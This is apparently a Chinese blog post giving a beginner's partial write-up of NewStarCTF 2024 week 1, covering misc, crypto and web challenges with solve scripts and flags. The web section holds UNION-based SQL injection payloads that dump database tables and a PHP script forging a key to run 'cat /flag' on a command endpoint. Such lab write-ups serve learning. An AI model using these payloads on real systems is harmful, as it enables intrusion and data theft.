NewStarCtf 2024第一周writeup(部分)

是公开赛道的菜狗,web有道题没做出来,pwn和reverse不会,主打一个写都写了记录下吧。

Signin

操作内容:做选择题得出flag。

flag值:

flag{I_Agr3e_to_FoL10w_th3_ru1es_c41fa97d}

MISC 兑换码

操作内容:

题目提示flag在图片下方,010修改图片宽度,得到flag。

flag值:

flag{La_vaguelette}

MISC Labyrinth

操作内容:

题目标有LSB,用工具找到flag。

flag值:

flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

MISC WhereIsFlag

操作内容:

kali连接上去,ls挨个目录找的。

你们二次元真的……

flag值:

flag{0083b779-1f5b-4c01-be80-8123c9b05b64}

MISC pleasingMusic

操作内容:

听了下音频,有嘟嘟滴滴的声音,感觉是摩斯电码,题目又说正反都好听,所以把音频反向,获取摩斯电码为:./--../..--.-/--/---/.-./..././..--.-/-.-./---/-../.

flag值:

flag{ez_morse_code}

MISC decompress

操作内容:

逐层解压,最后有个文件和一个要解密的压缩包,文件打开是:^([a-z]){3}\d[a-z]$,感觉像是解压密码的正则,盲跑一下解压软件试试。密码是:xtr4m,打开之后好几个flag.zip文件,拿说的正确的flag试试:

flag值:

flag{U_R_th3_ma5ter_0f_dec0mpress}

Crypto Base

操作内容:

3d3d3d感觉是hex编码的=,所以hex解码。然后base32+base64。

flag值:

flag{B@sE_0f_CrYpt0_N0W}

Crypto Xor

操作内容:

异或。

from pwn import xor

from Crypto.Util.number import bytes_to_long,long_to_bytes

key = b'New_Star_CTF'

flag='flag{*******************}'

# flag[:13]:0-12位

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))

m2 = flag[13:]

k1=bytes_to_long(key)

c1= 8091799978721254458294926060841

m1=k1^c1

m1=long_to_bytes(m1)

print(m1)

#'flag{0ops!_yo'

c2= b';:\x1c1<\x03>*\x10\x11u;'

m2=xor(c2,key)

print(m2)

# b'u_know_XOR!}'

# flag{0ops!_you_know_XOR!}

flag值:

flag{0ops!_you_know_XOR!}

Crypto Strange King

操作内容:

看题目感觉是凯撒,但是单纯解密接不出来。

ksjr-->flag,感觉每个间隔分别是5 7 9 11,再结合题目中的每天进步一点,感觉非常合理,所以写代码跑一下。

cypto='ksjr{EcxvpdErSvcDgdgEzxqjql}'

a=5

le="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

i=0

mes=[]

for i in cypto:

if(i in le):

raw_midd=(ord(i))

midd=chr(ord(i)-a)

if raw_midd<97:

if ord(midd)<65:

midd=chr(ord(midd)+26)

else:

if ord(midd)<97 :

midd=chr(ord(midd)+26)

mes.append(midd)

else :

midd=i

mes.append(midd)

a=(a+2)%26

print("".join(str(l) for l in mes))

解出来flag是:flag{PleaseDoNotStopLearing}。

flag值:

flag{PleaseDoNotStopLearing}

Crypto 一眼秒了

操作内容:

是rsa,从网站获取到n的分解,得到p,q。

from Crypto.Util.number import *

from gmpy2 import *

p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421

q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093

n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153

c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

e = 65537

d = gmpy2.invert(e,(p-1)*(q-1))

m = pow(c,d,n)

m =long_to_bytes(m).decode('utf-8',errors='ignore')

print(m)

解出来flag是:flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}。

flag值:

flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Web headach3

操作内容:

打开网页看响应体,在响应头里。

flag值:

flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

Web 会赢吗

操作内容:

  1. /3ntranc3查看页面源代码,获得flag第一部分:ZmxhZ3tXQTB3和/4cqu1siti0n;

  2. 猜想/4cqu1siti0n是另一个页面,打开。

查看页面源代码,尝试构造到/api/flag/4cqu1siti0n的post请求(这里是我猜的)。获得:

"flag":"IV95NF9yM2Fs","nextLevel":"s34l"

  1. /s34l:查看源代码,修改图示部分:

获得第三部分flag:MXlfR3I0c1B和下一阶段:/Ap3x

  1. 查看源代码感觉1部分是关键,要点击2 部分使其生效。<noscript>关闭浏览器的js选项:

获得flag:fSkpKcyF9,下一阶段是空。

(5)组合得到:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9,base64解密得到flag。

flag值:

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

Web 谢谢皮蛋

操作内容:

看了下是sql注入:

5 union select 1,2#

5 union select database(),2#

5 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

5 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='Fl4g'#

5 union select 1,group_concat(id) from ctf.Fl4g#

5 union select 1,group_concat(des) from ctf.Fl4g#

5 union select 1,group_concat(value) from ctf.Fl4g#

flag值:

flag{fe3abae7-9010-4fd5-81d5-fc7db01684f0}

web 智械危机

这个题看robots可以看到下面的php代码,我一直在想怎么绕过强等于但是没有解决思路。

 后来问了下,这里的key是根据要输入的命令反推出来的。

推测cmd与key对应关系的代码如下:

复制代码
 1 <?php
 2 $cmd='ls -a';
 3 $cmd=base64_encode($cmd);
 4 echo($cmd);
 5 echo('     ');
 6 function decrypt_request($cmd) {
 7     $reversed_cmd = '';
 8     for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
 9         $reversed_cmd .= $cmd[$i];
10     }
11     $hashed_reversed_cmd = md5($reversed_cmd);
12     $decoded_key = $hashed_reversed_cmd;
13     $key=base64_encode($decoded_key);
14     return $key;
15 }
16 echo (decrypt_request($cmd))
17 ?> 
复制代码

然后去网站里post,查看当前路径没有flag,上级路径也没有,去看根路径,然后cat,得到flag。

post的内容:cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

flag:flag{0432900b-af5e-4425-b550-1786345441c7}

PangBai过家家(没做出来)

看到题目说去孤儿院没办手续,很痛快地接走了PangBai,差点以为接的是阿尼亚(

这个题目主要看了这位老师的wp:https://www.n0o0b.com/archives/newstarctf2024-week1-wp

题目加载好慢。

level 1 看header看的是响应头(找了师傅的wp看了level1的思路,我自己想不出来),响应头里有location,是level2的地址。

level 2 提示去ask=miao,get请求:?ask=miao,到达level3。

level 3 改成post /?ask=miao的请求,然后post的字段是say=hello,到达level 4。

level 4 接着3的操作,ua改成Papa,但是不要直接全改!改这个(也是看了师傅的wp),然后输入玛卡巴卡阿卡哇卡米卡玛卡呣。

level 5 要用PATCH方法上传一个文件,去搜了下PATCH包的格式。我就改了这两部分,不知道对不对(

但是还要输入咒语。改了个上传方式,请求包格式如下:

复制代码
 1 PATCH /path/to/resource/id HTTP/1.1
 2 Host: example.com
 3 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
 4  
 5 ------WebKitFormBoundary7MA4YWxkTrZu0gW
 6 Content-Disposition: form-data; name="file"; filename="example.txt"
 7 Content-Type: text/plain
 8  
 9 This is the content of the file.
10  
11 ------WebKitFormBoundary7MA4YWxkTrZu0gW--
复制代码

boundary 是用于分隔多部分请求体的字符串,每一部分都以--boundary开始,并以--boundary--结束。每个文件部分都有它自己的Content-DispositionContent-Type,以及文件内容。其他表单字段或JSON数据可以以类似方式添加到请求体中。

那么把say和file都按照相同方式加进去,但是没成,改了下图中的位置,还是说没有咒语。

我看师傅的wp也没太看懂……没找到为什么不识别这句咒语……

后续的操作可以看看这位老师的wp(链接贴在上面了)

存一个jwt相关的网站:https://jwt.io/

Reverse begin

操作内容:

按照步骤操作即可:

4a8ade5760bb56e04a0b157092e3748flag值:

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

posted @   荔枝白  阅读(447)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
点击右上角即可分享
微信分享提示